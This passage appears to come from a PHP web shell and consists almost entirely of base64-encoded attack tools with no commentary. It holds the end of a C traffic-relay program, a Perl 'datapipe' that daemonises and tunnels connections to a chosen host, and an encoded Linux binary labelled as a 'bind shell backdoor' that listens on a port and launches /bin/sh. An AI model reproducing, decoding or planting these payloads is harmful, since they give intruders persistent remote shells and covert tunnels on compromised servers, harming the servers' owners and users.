+29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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AAAAAAECFQDMAQAArJkECAAAAAAAAvH/3wEAAAAAAAB1AQAAEgAAAPABAAAAAAAAcQAAABIAAAABAgAARIkECAQAAAARAA4ACAIAAAAAAADMAAAAEgAAABoCAAAAAAAAWgAAABIAAAAqAgAA2JoECAAAAAARAhYANwIAAK2IBAhKAAAAEgAMAEcCAAAAAAAAeAAAABIAAABZAgAAiIQECAAAAAASAAoAXwIAAAAAAAA5AAAAEgAAAHECAAAAAAAAOQAAABIAAACHAgAAoIUECAAAAAASAAwAjgIAAFyIBAhRAAAAEgAMAJ4CAADgmgQIAAAAABAA8f+qAgAAQIYECBwCAAASAAwArwIAAAAAAADmAAAAEgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0